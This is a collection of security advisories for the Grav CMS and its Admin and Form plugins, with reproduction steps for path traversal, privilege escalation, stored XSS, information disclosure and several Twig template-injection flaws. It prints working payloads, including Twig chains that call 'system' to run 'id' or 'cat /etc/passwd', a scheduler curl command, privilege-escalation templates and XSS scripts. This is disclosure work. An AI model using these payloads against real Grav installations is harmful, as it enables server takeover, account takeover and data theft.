See how getgrav compares to other vendors in security performance
Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.
Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true
Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)
Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"
Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847
Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.
- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.
Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );
/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);
$form->message = $processedstring; break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
We can run the program with this payload:
bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages - Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
!image
!image
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
!image
Content of form:
title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
!image
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.
Summary A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.
Details Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.
This enables exploitation of Grav internal APIs such as: - grav.user.update() and grav.user.save() for escalating the current user to super admin or admin - grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution
The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.
PoC Preconditions: - You must have access to a non-admin user with permission to create/edit pages (admin.pages access) - For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.
Steps to reproduce Privilege Escalation: 1. Login into the non-admin page (default at cms-url/login). 2. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 3. Inject the following payload into the page content to escalate privileges: {% set = grav.user.update({ 'access': { 'admin': { 'login': true, 'super': true } } }, {}) %} {% set = grav.user.save() %} 4. Visit the edited/created page url. The logged in user is now admin. (Note: For the changes to show, you need to log out of the admin panel and relogin).
Steps to reproduce Remote Code Execution: 1. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 2. Inject the following payload into the page content to execute commands: {% set = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %} {% set = grav.scheduler.save() %} {% set = grav.scheduler.run() %} 3. Visit the page to trigger the execution. The system will issue a curl request.
Impact This vulnerability allows: - Privilege Escalation from any user with page editing capabilities to full admin (super) access. - Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.
It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.
Summary A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users. A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access.
Steps to Reproduce 1. Make sure you have two accounts: an admin and a user with create user privilege 2. In the user account, navigate to /grav-admin/admin/accounts/users and click "Add" 3. Enter the name of the admin, complete registration and observe that the existing admin’s email is changed to the value you provided. 4. Log out from user account log in as admin with new credentials
Impact 1. Full admin takeover by any user with create user permission. 2. Ability to change admin credentials, install/remove plugins, read or modify site data, and execute any action available to an admin. 3. Severity: High/Critical.
PoC https://github.com/user-attachments/assets/3ab0a7d6-5055-41be-9e0e-2bd6ca359b37
Summary Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details.
PoC Create a simple form with two fields, 'registration-number' and 'hp'. Add a submit button and set the method to POST(screenshot attached below). Form name set to 'hero-form'. Send a POST request with the following payload and you will notice a response with a php array listing the whole Grav configuration details - including plugins(screenshot attached).
registration-number:d643aaaa
hp:vJyifp
form-name:hero-form
uniqueformid:{{vardump(context|slice(0,7))}}
!Screenshot 2025-03-25 at 7 26 02 AM
!Screenshot 2025-03-25 at 7 22 58 AM
Impact Server-Side Template (SST) vulnerability. The vulnerability affects the latest Grav version as of 25th of Match 2025 (1.7.48) with all plugins installed (including forms plugin v.7.4.2) to their latest versions as well.
Summary
- A low privilege user account with page editing privilege can read any server files using "Frontmatter" form. - This includes Grav user account files - /grav/user/accounts/.yaml. This file stores hashed user password, 2FA secret, and the password reset token. - This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.
Details The vulnerability can be found in /user/plugins/form/templates/forms/fields/display/display.html.twig !image
PoC 1. This PoC was conducted on Grav CMS version 1.7.46 and Admin Plugin version 1.10.46 !image
2. go to “http://grav.local/admin/pages” then create new page with “Page Template” option set to “Form”. !image
3. Then go to “Expert” and on Frontmatter input box used to following form template.
!image
4. Save page and go the preview or published page you will see the content of “/etc/passwd” file on the server. !image
Impact This can allow a low privileged user to perform a full account takeover of other registered users including Administrators. This can also allow an adversary to read any file on the web server. And Due to insufficient permission verification , user who can write a page also can use frontmatter feature using this IDOR vulnerability PoC IDOR mention in CVE-2024-2792
Summary
Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.
Details
Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.
The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:
php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED);
return new TwigFilter($name, $name); }
/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: system.twig.safefilters")); }
return new TwigFilter($name, static function () {}); }
return false; });
In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safefilters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.
Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:
php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template;
// Constructor public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }
// Twig initialization method public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; / @var UniformResourceLocator $locator / $locator = $this->grav['locator']; / @var Language $language / $language = $this->grav['language'];
$activelanguage = $language->getActive(); ... } } }
Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safefilters, effectively bypassing the Grav CMS sandbox.
Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.
For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:
twig {% set arr = {'1':'system', '2':'exec'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefilters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }}
Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.
Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.
Summary Due to a broken access control vulnerability in the /admin/pages/{pagename} endpoint, an editor ( user with full permissions to pages ) can change the functionality of a form after submission.
Details Due to improper authorization checks when modifying critical fields on a POST request to /admin/pages/{pagename}, an editor with only permissions to change basic content on the form is now able to change the functioning of the form through modifying the content of the data[json][header][form] which is the YAML frontmatter which includes the process section which dictates what happens after a user submits the form which include some important actions that could lead to further vulnerabilities.
PoC
- Have Admin and Form plugins installed - Connect to panel as admin, create user and give him permission for pages all - Now connect as that user and notice you cant edit any process field in the panel - Change anything in the content of the form and save - Intercept the request: !image
- Now modify the field data[json][header][form] with the following payload URL-encoded not like this: {"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[{"message":"{{ evaluatetwig(form.value('name')) }}"}]}
- Change the field and forward it: !image
Request goes through and changes have been made to the form. !image
Impact
- Attacker can modify submission logic of the form which leads to changing redirect value, email sending, changing template, breaking out of the Twig sandbox potentially executing code...
Fix recommendation
- Implement proper authorization checks to such requests especially when it contains fields user shouldn't be able to modify based on his role.
Summary A path traversal vulnerability has been identified in Grav CMS, versions 1.7.49.5 , allowing authenticated attackers with administrative privileges to read arbitrary files on the underlying server filesystem. This vulnerability arises due to insufficient input sanitization in the backup tool, where user-supplied paths are not properly restricted, enabling access to files outside the intended webroot directory. The impact of this vulnerability depends on the privileges of the user account running the application.
PoC To accurately demonstrate the maximum potential impact of this vulnerability, the testing environment was configured in a specific way:
- Elevated Privileges: The application was run locally with the highest possible system privileges, operating under the root user account. - Objective: This configuration was chosen to unequivocally show that the path traversal vulnerability is not just a theoretical issue but can lead to a complete compromise of the underlying host when combined with poor operational practices. The ability to read any file on the system is the ultimate test of the flaw's severity.
Proof of Concept Goal: Under these conditions, the subsequent PoC will exploit the vulnerability to read the SSH private key of the root user (/root/.ssh/idrsa). The successful exfiltration of this key represents a worst-case scenario, as it would provide an attacker with persistent, undetectable, and complete administrative access to the host server. This highlights the critical intersection of an application-layer vulnerability and a infrastructure-level misconfiguration.
1- LOGIN AS ADMIN AND GO TO : http://127.0.0.1/admin/tools/backups 2- Change 'Root Folder' to backup directory /../../../../../../../root/.ssh/
<img width="1902" height="492" alt="Screenshot 2025-09-11 161519" src="https://github.com/user-attachments/assets/23a60dc3-7758-4e24-b910-e66a1dd1f5e2" />
3- CLICK : 'SAVE' 4- CLICK : 'Backup Now'
<img width="1916" height="512" alt="Screenshot 2025-09-11 154151" src="https://github.com/user-attachments/assets/88a63ff2-777e-467e-857b-0644ef698499" />
5- Extract Backup :
<img width="704" height="101" alt="Screenshot 2025-09-11 160114" src="https://github.com/user-attachments/assets/b91ce4db-9843-4280-b8f0-32c73aa12d4d" /> <img width="567" height="101" alt="Screenshot 2025-09-11 160135" src="https://github.com/user-attachments/assets/155ce7d8-c2fc-4b54-b054-f7c7550bec82" />
DOS on the admin panel Severity Rating: Medium
Vector: Denial Of Service
CVE: XXX
CWE: 400 - Uncontrolled Resource Consumption
CVSS Score: 4.9
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Analysis
A Denial of Service (DoS) vulnerability has been identified in the application related to the handling of scheduledat parameters. Specifically, the application fails to properly sanitize input for cron expressions. By manipulating the scheduledat parameter with a malicious input, such as a single quote, the application admin panel becomes non-functional, causing significant disruptions to administrative operations.
The only way to recover from this issue is to manually access the host server and modify the backup.yaml file to correct the corrupted cron expression
Proof of Concept
1) Change the value of scheduledat parameter to ' as shown in the following figures at the http://127.0.0.1/admin/tools endpoint, and observe the response in the second figure: !gravdos2 Figure: Http request on tool endpoint !gravdos3 Figure: Http response on tool endpoint
2) When trying to access the admin panel, the panel is broken as shown in the following figure. Additionally, the value change is reflected in the backup.yaml file, as shown in the second figure: !gravdos4 Figure: Error message view !gravdos5 Figure: Backup.yaml file
Workarounds No workaround is currently known
Timeline 2024-07-24 Issue identified
2024-09-27 Vendor contacted
About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.
Exposure of Password Hashes Leading to privilege escalation Severity Rating: Medium
Vector: Privilege Escalation
CVE: XXX
CWE: 200 - Exposure of Sensitive Information
CVSS Score: 6.2
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L
Analysis
It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.
An attacker with read access can: View and potentially crack the password hashes. Gain administrative access by cracking the admin password hash. Escalate privileges and compromise the entire admin panel.
Proof of Concept
1) Give read access to user accounts to a random user as shown in the following figures: !grav0 !grav2
2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.
3) Go to the admin profile http://127.0.0.1/admin/accounts/users/admin; The password is not display. Try inspecting the page source code as shown in the following figures: !grav2-1 You can see that it match the hash that is in the admin.yaml file : !Compare to the hash in database of the admin
4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt: !grav3
Workarounds No workaround is currently known
Timeline 2024-07-24 Issue identified
2024-09-27 Vendor contacted
About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.
Summary
An IDOR (Insecure Direct Object Reference) vulnerability in the Grav CMS Admin Panel allows low-privilege users to access sensitive information from other accounts. Although direct account takeover is not possible, admin email addresses and other metadata can be exposed, increasing the risk of phishing, credential stuffing, and social engineering.
---
Details
Endpoint: /admin/accounts/users/{username} Tested Version: Grav Admin 1.7.48 Affected Accounts: Authenticated users with 0 privileges (non-privileged accounts)
Description: Requesting another user’s account details (e.g., /admin/accounts/users/admin) as a low-privilege user returns an HTTP 403 Forbidden response. However, sensitive information such as the admin’s email address is still present in the response source, specifically in the <title> tag.
system/src/Grav/Common/Flex/Types/Users/UserCollection.php <img width="700" height="327" alt="Screenshot 2025-08-24 021027" src="https://github.com/user-attachments/assets/7e69ae49-d8fc-442f-b00c-9efaec706b2e" />
system/blueprints/flex/user-accounts.yaml <img width="700" height="300" alt="Screenshot 2025-08-24 020521" src="https://github.com/user-attachments/assets/756631c8-d60b-4b84-a08a-2a9c2f81b41f" />
This is a classic IDOR vulnerability, where object references (usernames) are not properly protected from unauthorized enumeration.
---
PoC
1. Log in as a non-privileged user (0-privilege account). 2. Access another user’s endpoint, for example:
GET /admin/accounts/users/admin 3. Observe the HTTP 403 Forbidden response. 4. Inspect the page source; sensitive data such as the admin email can be seen in the <title> tag.
PoC Video:
https://drive.google.com/file/d/1lYqwqSkN5sPNmHvXGOk6R1mdIgVt71H/view
---
Impact
Type: Information Disclosure via IDOR Who is impacted: Low-privilege authenticated users can enumerate other accounts and extract sensitive metadata (admin emails). Risk: Exposed information can be used for targeted phishing, credential stuffing, brute-force attacks, or social engineering campaigns. Severity Justification: Only a low-privilege account is required, and sensitive metadata is leaked. Arbitrary code execution is not possible, but the information exposure is moderate risk.
---
Disclosure & CVE Request
We request a CVE ID for this vulnerability once validated. Please credit the discovery to:
Elvin Nuruyev Kanan Farzalili
Grav v1.7.49.5 / Admin v1.10.49.1 – User Enumeration & Email Disclosure
Summary A user enumeration and email disclosure vulnerability exists in Grav v1.7.49.5 with Admin plugin v1.10.49.1. The "Forgot Password" functionality at /admin/forgot leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering.
Details
The issue resides in the taskForgot() function, which handles the forgot password workflow. Relevant vulnerable logic:
php if (null === $user || $user->state !== 'enabled' || !$to) { ... // Generic message for invalid/non-existing users $this->setMessage($this->translate('PLUGINADMIN.FORGOTINSTRUCTIONSSENTVIAEMAIL')); return $this->createRedirectResponse($current); }
if ($rateLimiter->isRateLimited($username)) { ... $interval = $config->get('plugins.login.maxpwresetsinterval', 2);
// Sensitive message for valid users $this->setMessage($this->translate('PLUGINLOGIN.FORGOTCANNOTRESETITISBLOCKED', $to, $interval), 'error');
return $this->createRedirectResponse($current); }
When an attacker submits the password reset form at /admin/forgot with an invalid username, the application responds with:
Instructions to reset your password have been sent to your email address
However, when a valid username is supplied, and the attacker repeatedly triggers password reset requests, the application responds with:
Cannot reset password for <USEREMAIL>, password reset functionality temporarily blocked, please try later (maximum 60 minutes)
This discrepancy in responses enables: 1. User Enumeration – Attackers can determine if a username exists in the system by analyzing the response. 2. User Email Disclosure – The system discloses the actual email address associated with the account (e.g., admin@localhost.test).
This violates best practices for authentication flows, where responses should remain generic to avoid leaking sensitive information.
PoC 1. Navigate to the Forgot Password page: https://<target>/admin/forgot 1. Submit a reset request with a random/invalid username (e.g., invaliduser):
- Response: Instructions to reset your password have been sent to your email address 3. Submit a reset request with a valid username (e.g., admin). 4. Repeatedly request a reset for the same username until the lockout mechanism triggers. - Response: Cannot reset password for admin@localhost.test, password reset functionality temporarily blocked, please try later (maximum 60 minutes) 5. Observe the leaked email address of the admin account in the error message.
Impact - Severity: Medium - Type: Information Disclosure / User Enumeration - Who is Impacted: All Grav sites using Admin plugin v1.10.49.1 with password reset enabled. - Risks: - Allows attackers to enumerate valid usernames. - Exposes email addresses of admin accounts, which can be used in: - Credential stuffing - Password spraying - Phishing/social engineering campaigns - Further exploitation in combination with other vulnerabilities
Recommendation
- Modify the taskForgot() logic to always return a generic, non-identifying message, regardless of whether the username exists or rate limits are hit.
- Example safe response: ini If the account exists, password reset instructions will be sent.
- Do not include email addresses ($to) or other sensitive data in error messages.
Summary
A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][metadata], data[header][taxonomy][category], and data[header][taxonomy][tag] parameters. These scripts are stored in the page frontmatter and executed automatically whenever the affected page is accessed or rendered in the administrative interface.
---
Details
Vulnerable Endpoint: POST /admin/pages/[page] Parameters:
- data[header][metadata] - data[header][taxonomy][category] - data[header][taxonomy][tag]
The application fails to properly sanitize user input when saving page metadata or taxonomy fields via the Admin Panel. As a result, an attacker with access to the admin interface can inject a malicious script using these parameters, and the script will be stored in the page's YAML frontmatter. When the page or metadata is rendered (especially in the Admin Panel), the payload is executed in the browser of any user with access.
---
PoC
Payload:
<script>alert('PoC-XXS51')</script>
Steps to Reproduce:
1. Log into the Grav Admin Panel and navigate to Pages. 2. Create or edit a page. 3. Inject the payload above into any of the following fields in the Options tab: - Metadata key name - Category under Taxonomy - Tag under Taxonomy !image
!image
4. Save the page. !image
When the page is loaded again in the Admin Panel or potentially on the frontend (depending on how the metadata is used), the script is executed, confirming the Stored XSS vulnerability.
---
Impact
Stored XSS vulnerabilities can result in serious consequences, including:
- Session hijacking: Attackers can steal authentication cookies or tokens - Malware delivery: Injected scripts can download malicious software - Credential theft: Fake input fields can capture usernames and passwords - Sensitive data exposure: Access to internal metadata and browser data - Administrative access compromise: Especially dangerous in admin-facing interfaces - Phishing attacks: Users can be redirected to external malicious sites - Reputation damage: Executing arbitrary scripts in trusted systems undermines credibility
by CVE-Hunters
Summary
A Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/accounts/groups/Grupo endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[readableName] parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk.
---
Details
Vulnerable Endpoint: POST /admin/accounts/groups/Grupo Parameter: data[readableName]
The application fails to properly validate and sanitize user input in the data[readableName] parameter. This lack of input handling allows attackers to inject arbitrary script content that is stored in the application and executed in the browser of any user who views the affected group configuration.
---
PoC
Payload:
<ScRipT>alert('PoC-XSS')</ScRipT>
1. Navigate to Accounts > Groups in the administrative panel. 2. Create a new group or edit an existing one. 3. In the Display Name field (data[readableName]), insert the payload above and save the changes.
!image
The following HTTP request was generated during this action: !image
4. Next, go to Accounts > Users and open any user profile.
!image
5. The malicious script is executed immediately in the browser when the page loads, confirming the existence of a Stored XSS vulnerability.
!image
---
Impact
Stored XSS vulnerabilities can result in serious consequences, including:
- Session hijacking: Attackers can steal authentication cookies or tokens - Malware delivery: Inserting scripts that download malicious content - Credential theft: Capturing usernames and passwords through injected forms - Sensitive data exposure: Accessing data stored in the browser or the application - Browser takeover: Executing arbitrary commands in the user’s session - Phishing attacks: Redirecting users to fake login or malicious sites - Website defacement: Altering page content shown to users - Reputational damage: Undermining trust in the platform or organization
by CVE-Hunters
Summary
A missing validation check in Grav's Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with create or update rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a data-@: directive, since the code that resolves those directives calls calluserfuncarray() on attacker-influenced input with no restriction at all.
This is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to Blueprint::dynamicData(), but Grav's Flex system routes the same directive through a separate, unprotected method, FlexDirectory::dynamicDataField(), which never received the same fix.
Details
Grav blueprints support action-property@: directives, YAML keys that tell the blueprint engine to compute a field's value dynamically by calling a function. Blueprint::init() (system/src/Grav/Common/Data/Blueprint.php:167-177) resolves these by checking for a registered handler first, and only falling back to the built-in dynamic{Action} method if none is registered:
php foreach ($data as $property => $call) { $action = $call['action']; $method = 'dynamic' . ucfirst((string) $action); $call['object'] = $this->object;
if (isset($this->handlers[$action])) { $callable = $this->handlers[$action]; $callable($current, $property, $call); } elseif (methodexists($this, $method)) { $this->{$method}($current, $property, $call); } }
FlexDirectory::getBlueprint() (system/src/Grav/Framework/Flex/FlexDirectory.php:878-880) registers exactly such a handler for the data action, for every Flex directory:
php $blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) { $this->dynamicDataField($field, $property, $call); });
Because a handler is registered, Blueprint::init() never falls through to the patched Blueprint::dynamicData(). It calls FlexDirectory::dynamicDataField() instead (system/src/Grav/Framework/Flex/FlexDirectory.php:906-928):
php protected function dynamicDataField(array &$field, $property, array $call) { $params = $call['params']; if (isarray($params)) { $function = arrayshift($params); } else { $function = $params; $params = []; }
$object = $call['object']; if ($function === '\Grav\Common\Page\Pages::pageTypes') { $params = [$object instanceof PageInterface && $object->isModule() ? 'modular' : 'standard']; }
$data = null; if (iscallable($function)) { $data = calluserfuncarray($function, $params); } // ... }
iscallable() only checks that $function resolves to something callable. It does not check whether calling it is safe. 'exec', 'system', 'passthru', and 'shellexec' are all valid PHP callables, so this passes them through without complaint.
Compare this to the patched Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426-448), which calls $this->isSafeDynamicCall($function, $params) before doing anything. That method denies known command-execution functions (exec, system, passthru, shellexec, popen, procopen, pcntlexec), known code-execution functions (assert, pregreplace, createfunction, include, require), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through Utils::arrayFilterRecursive. None of that logic exists in dynamicDataField().
